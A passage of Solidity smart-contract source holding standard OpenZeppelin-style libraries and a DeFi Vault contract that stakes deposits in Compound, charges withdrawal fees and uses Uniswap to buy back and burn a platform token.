set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface CErc20 {
function mint(uint256) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function supplyRatePerBlock() external returns (uint256);
function redeem(uint) external returns (uint);
function redeemUnderlying(uint) external returns (uint);
}
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
/**
* Accounting:
* - the smart contract maintains a ledger of token balances which changes upon actions affecting
* this smart contract's token balance.
*
* - it allows owner to withdraw any extra amount of any tokens that have not been recorded,
* i.e, - any tokens that are accidentally transferred to this smart contract.
*
* - care must be taken in auditing that `claimExtraTokens` function does not allow withdrawals of
* any tokens in this smart contract in more amounts than necessary. In simple terms, admin can
* only transfer out tokens that are accidentally sent to this smart contract. Nothing more nothing less.
*/
contract Vault is Ownable, ReentrancyGuard {
using SafeMath for uint;
using Address for address;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
//==================== Contract Variables =======================
// Contract variables must be changed before live deployment
uint public constant LOCKUP_DURATION = 3 days;
uint public constant FEE_PERCENT_X_100 = 30;
uint public constant FEE_PERCENT_TO_BUYBACK_X_100 = 2500;
uint public constant REWARD_INTERVAL = 365 days;
uint public constant ADMIN_CAN_CLAIM_AFTER = 395 days;
uint public constant REWARD_RETURN_PERCENT_X_100 = 300;
// ETH fee equivalent predefined gas price
uint public constant MIN_ETH_FEE_IN_WEI = 40000 * 1 * 10**9;
address public constant TRUSTED_DEPOSIT_TOKEN_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant TRUSTED_CTOKEN_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address public constant TRUSTED_PLATFORM_TOKEN_ADDRESS = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
//================= End Contract Variables ======================
uint public constant ONE_HUNDRED_X_100 = 10000;
uint public immutable contractStartTime;
constructor() public {
contractStartTime = block.timestamp;
}
IUniswapV2Router public constant uniswapRouterV2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
modifier noContractsAllowed() {
require(tx.origin == msg.sender, "No Contracts Allowed!");
_;
}
// ------------------- event definitions -------------------
event Deposit(address indexed account, uint amount);
event Withdraw(address indexed account, uint amount);
event EtherRewardDisbursed(uint amount);
event TokenRewardDisbursed(uint amount);
event PlatformTokenRewardClaimed(address indexed account, uint amount);
event CompoundRewardClaimed(address indexed account, uint amount);
event EtherRewardClaimed(address indexed account, uint amount);
event TokenRewardClaimed(address indexed account, uint amount);
event PlatformTokenAdded(uint amount);
// ----------------- end event definitions -----------------
EnumerableSet.AddressSet private holders;
// view functon to get number of stakers
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
// token contract address => token balance of this contract
mapping (address => uint) public tokenBalances;
// user wallet => balance
mapping (address => uint) public cTokenBalance;
mapping (address => uint) public depositTokenBalance;
mapping (address => uint) public totalTokensDepositedByUser;
mapping (address => uint) public totalTokensWithdrawnByUser;
mapping (address => uint) public totalEarnedCompoundDivs;
mapping (address => uint) public totalEarnedEthDivs;
mapping (address => uint) public totalEarnedTokenDivs;
mapping (address => uint) public totalEarnedPlatformTokenDivs;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
uint public totalCTokens;
uint public totalDepositedTokens;
// -----------------
uint public constant POINT_MULTIPLIER = 1e18;
mapping (address => uint) public lastTokenDivPoints;
mapping (address => uint) public tokenDivsBalance;
uint public totalTokenDivPoints;
mapping (address => uint) public lastEthDivPoints;
mapping (address => uint) public ethDivsBalance;
uint public totalEthDivPoints;
mapping (address => uint) public platformTokenDivsBalance;
uint public totalEthDisbursed;
uint public totalTokensDisbursed;
function tokenDivsOwing(address account) public view returns (uint) {
uint newDivPoints = totalTokenDivPoints.sub(lastTokenDivPoints[account]);
return depositTokenBalance[account].mul(newDivPoints).div(POINT_MULTIPLIER);
}
function ethDivsOwing(address account) public view returns (uint) {
uint newDivPoints = totalEthDivPoints.sub(lastEthDivPoints[account]);
return depositTokenBalance[account].mul(newDivPoints).div(POINT_MULTIPLIER);
}
function distributeEthDivs(uint amount) private {
if (totalDepositedTokens == 0) return;
totalEthDivPoints = totalEthDivPoints.add(amount.mul(POINT_MULTIPLIER).div(totalDepositedTokens));
totalEthDisbursed = totalEthDisbursed.add(amount);
increaseTokenBalance(address(0), amount);
emit EtherRewardDisbursed(amount);
}
function distributeTokenDivs(uint amount) private {
if (totalDepositedTokens == 0) return;
totalTokenDivPoints = totalTokenDivPoints.add(amount.mul(POINT_MULTIPLIER).div(totalDepositedTokens));
totalTokensDisbursed = totalTokensDisbursed.add(amount);
increaseTokenBalance(TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount);
emit TokenRewardDisbursed(amount);
}
// -----------------
// view function to get depositors list
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositTokenBalance[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
function updateAccount(address account) private {
// update user account here
uint tokensOwing = tokenDivsOwing(account);
lastTokenDivPoints[account] = totalTokenDivPoints;
if (tokensOwing > 0) {
tokenDivsBalance[account] = tokenDivsBalance[account].add(tokensOwing);
}
uint weiOwing = ethDivsOwing(account);
lastEthDivPoints[account] = totalEthDivPoints;
if (weiOwing > 0) {
ethDivsBalance[account] = ethDivsBalance[account].add(weiOwing);
}
uint platformTokensOwing = platformTokenDivsOwing(account);
if (platformTokensOwing > 0) {
platformTokenDivsBalance[account] = platformTokenDivsBalance[account].add(platformTokensOwing);
}
lastClaimedTime[account] = block.timestamp;
}
function platformTokenDivsOwing(address account) public view returns (uint) {
if (!holders.contains(account)) return 0;
if (depositTokenBalance[account] == 0) return 0;
uint timeDiff;
uint stakingEndTime = contractStartTime.add(REWARD_INTERVAL);
uint _now = block.timestamp;
if (_now > stakingEndTime) {
_now = stakingEndTime;
}
if (lastClaimedTime[account] >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastClaimedTime[account]);
}
uint pendingDivs = depositTokenBalance[account]
.mul(REWARD_RETURN_PERCENT_X_100)
.mul(timeDiff)
.div(REWARD_INTERVAL)
.div(ONE_HUNDRED_X_100);
return pendingDivs;
}
function getEstimatedCompoundDivsOwing(address account) public view returns (uint) {
uint convertedBalance = getConvertedBalance(cTokenBalance[account]);
uint depositedBalance = depositTokenBalance[account];
return (convertedBalance > depositedBalance ? convertedBalance.sub(depositedBalance) : 0);
}
function getConvertedBalance(uint _cTokenBalance) public view returns (uint) {
uint exchangeRateStored = getExchangeRateStored();
uint convertedBalance = _cTokenBalance.mul(exchangeRateStored).div(10**18);
return convertedBalance;
}
function _claimEthDivs() private {
updateAccount(msg.sender);
uint amount = ethDivsBalance[msg.sender];
ethDivsBalance[msg.sender] = 0;
if (amount == 0) return;
decreaseTokenBalance(address(0), amount);
msg.sender.transfer(amount);
totalEarnedEthDivs[msg.sender] = totalEarnedEthDivs[msg.sender].add(amount);
emit EtherRewardClaimed(msg.sender, amount);
}
function _claimTokenDivs() private {
updateAccount(msg.sender);
uint amount = tokenDivsBalance[msg.sender];
tokenDivsBalance[msg.sender] = 0;
if (amount == 0) return;
decreaseTokenBalance(TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, amount);
totalEarnedTokenDivs[msg.sender] = totalEarnedTokenDivs[msg.sender].add(amount);
emit TokenRewardClaimed(msg.sender, amount);
}
function _claimCompoundDivs() private {
updateAccount(msg.sender);
uint exchangeRateCurrent = getExchangeRateCurrent();
uint convertedBalance = cTokenBalance[msg.sender].mul(exchangeRateCurrent).div(10**18);
uint depositedBalance = depositTokenBalance[msg.sender];
uint amount = convertedBalance > depositedBalance ? convertedBalance.sub(depositedBalance) : 0;
if (amount == 0) return;
uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));
require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!");
uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));
uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance);
uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance);
require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!");
cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed);
totalCTokens = totalCTokens.sub(cTokenRedeemed);
decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed);
totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceived);
totalEarnedCompoundDivs[msg.sender] = totalEarnedCompoundDivs[msg.sender].add(depositTokenReceived);
emit CompoundRewardClaimed(msg.sender, depositTokenReceived);
}
function _claimPlatformTokenDivs(uint _amountOutMin_platformTokens) private {
updateAccount(msg.sender);
uint amount = platformTokenDivsBalance[msg.sender];
if (amount == 0) return;
address[] memory path = new address[](3);
path[0] = TRUSTED_DEPOSIT_TOKEN_ADDRESS;
path[1] = uniswapRouterV2.WETH();
path[2] = TRUSTED_PLATFORM_TOKEN_ADDRESS;
uint estimatedAmountOut = uniswapRouterV2.getAmountsOut(amount, path)[2];
require(estimatedAmountOut >= _amountOutMin_platformTokens, "_claimPlatformTokenDivs: slippage error!");
if (IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)) < estimatedAmountOut) {
return;
}
platformTokenDivsBalance[msg.sender] = 0;
decreaseTokenBalance(TRUSTED_PLATFORM_TOKEN_ADDRESS, estimatedAmountOut);
IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(msg.sender, estimatedAmountOut);
totalEarnedPlatformTokenDivs[msg.sender] = totalEarnedPlatformTokenDivs[msg.sender].add(estimatedAmountOut);
emit PlatformTokenRewardClaimed(msg.sender, estimatedAmountOut);
}
function claimEthDivs() external noContractsAllowed nonReentrant {
_claimEthDivs();
}
function claimTokenDivs() external noContractsAllowed nonReentrant {
_claimTokenDivs();
}
function claimCompoundDivs() external noContractsAllowed nonReentrant {
_claimCompoundDivs();
}
function claimPlatformTokenDivs(uint _amountOutMin_platformTokens) external noContractsAllowed nonReentrant {
_claimPlatformTokenDivs(_amountOutMin_platformTokens);
}
function claim(uint _amountOutMin_platformTokens) external noContractsAllowed nonReentrant {
_claimEthDivs();
_claimTokenDivs();
_claimCompoundDivs();
_claimPlatformTokenDivs(_amountOutMin_platformTokens);
}
function getExchangeRateCurrent() public returns (uint) {
uint exchangeRateCurrent = CErc20(TRUSTED_CTOKEN_ADDRESS).exchangeRateCurrent();
return exchangeRateCurrent;
}
function getExchangeRateStored() public view returns (uint) {
uint exchangeRateStored = CErc20(TRUSTED_CTOKEN_ADDRESS).exchangeRateStored();
return exchangeRateStored;
}
function deposit(uint amount, uint _amountOutMin_ethFeeBuyBack, uint deadline) external noContractsAllowed nonReentrant payable {
require(amount > 0, "invalid amount!");
updateAccount(msg.sender);
// increment token balance!
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount);
totalTokensDepositedByUser[msg.sender] = totalTokensDepositedByUser[msg.sender].add(amount);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(TRUSTED_CTOKEN_ADDRESS, 0);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(TRUSTED_CTOKEN_ADDRESS, amount);
uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
require(CErc20(TRUSTED_CTOKEN_ADDRESS).mint(amount) == 0, "mint failed!");
uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
uint cTokenReceived = newCTokenBalance.sub(oldCTokenBalance);
cTokenBalance[msg.sender] = cTokenBalance[msg.sender].add(cTokenReceived);
totalCTokens = totalCTokens.add(cTokenReceived);
increaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenReceived);
depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].add(amount);
totalDepositedTokens = totalDepositedTokens.add(amount);
handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline);
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
emit Deposit(msg.sender, amount);
}
function withdraw(uint amount, uint _amountOutMin_ethFeeBuyBack, uint _amountOutMin_tokenFeeBuyBack, uint deadline) external noContractsAllowed nonReentrant payable {
require(amount > 0, "invalid amount!");
require(amount <= depositTokenBalance[msg.sender], "Cannot withdraw more than deposited!");
require(block.timestamp.sub(depositTime[msg.sender]) > LOCKUP_DURATION, "You recently deposited, please wait before withdrawing.");
updateAccount(msg.sender);
depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].sub(amount);
totalDepositedTokens = totalDepositedTokens.sub(amount);
uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));
require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!");
uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));
uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance);
uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance);
require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!");
cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed);
totalCTokens = totalCTokens.sub(cTokenRedeemed);
decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed);
totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived);
uint feeAmount = depositTokenReceived.mul(FEE_PERCENT_X_100).div(ONE_HUNDRED_X_100);
uint depositTokenReceivedAfterFee = depositTokenReceived.sub(feeAmount);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceivedAfterFee);
handleFee(feeAmount, _amountOutMin_tokenFeeBuyBack, deadline);
handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline);
if (depositTokenBalance[msg.sender] == 0) {
holders.remove(msg.sender);
}
emit Withdraw(msg.sender, depositTokenReceived);
}
// emergency withdraw without interacting with uniswap
function emergencyWithdraw(uint amount) external noContractsAllowed nonReentrant payable {
require(amount > 0, "invalid amount!");
require(amount <= depositTokenBalance[msg.sender], "Cannot withdraw more than deposited!");
require(block.timestamp.sub(depositTime[msg.sender]) > LOCKUP_DURATION, "You recently deposited, please wait before withdrawing.");
updateAccount(msg.sender);
depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].sub(amount);
totalDepositedTokens = totalDepositedTokens.sub(amount);
uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));
require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!");
uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this));
uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this));
uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance);
uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance);
require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!");
cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed);
totalCTokens = totalCTokens.sub(cTokenRedeemed);
decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed);
totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived);
uint feeAmount = depositTokenReceived.mul(FEE_PERCENT_X_100).div(ONE_HUNDRED_X_100);
uint depositTokenReceivedAfterFee = depositTokenReceived.sub(feeAmount);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceivedAfterFee);
// no uniswap interaction
// handleFee(feeAmount, _amountOutMin_tokenFeeBuyBack, deadline);
// handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline);
if (depositTokenBalance[msg.sender] == 0) {
holders.remove(msg.sender);
}
emit Withdraw(msg.sender, depositTokenReceived);
}
function handleFee(uint feeAmount, uint _amountOutMin_tokenFeeBuyBack, uint deadline) private {
uint buyBackFeeAmount = feeAmount.mul(FEE_PERCENT_TO_BUYBACK_X_100).div(ONE_HUNDRED_X_100);
uint remainingFeeAmount = feeAmount.sub(buyBackFeeAmount);
// handle distribution
distributeTokenDivs(remainingFeeAmount);
// handle buyback
// --- swap token to platform token here! ----
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(address(uniswapRouterV2), 0);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(address(uniswapRouterV2), buyBackFeeAmount);
uint oldPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this));
address[] memory path = new address[](3);
path[0] = TRUSTED_DEPOSIT_TOKEN_ADDRESS;
path[1] = uniswapRouterV2.WETH();
path[2] = TRUSTED_PLATFORM_TOKEN_ADDRESS;
uniswapRouterV2.swapExactTokensForTokens(buyBackFeeAmount, _amountOutMin_tokenFeeBuyBack, path, address(this), deadline);
uint newPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this));
uint platformTokensReceived = newPlatformTokenBalance.sub(oldPlatformTokenBalance);
IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(BURN_ADDRESS, platformTokensReceived);
// ---- end swap token to plaform tokens -----
}
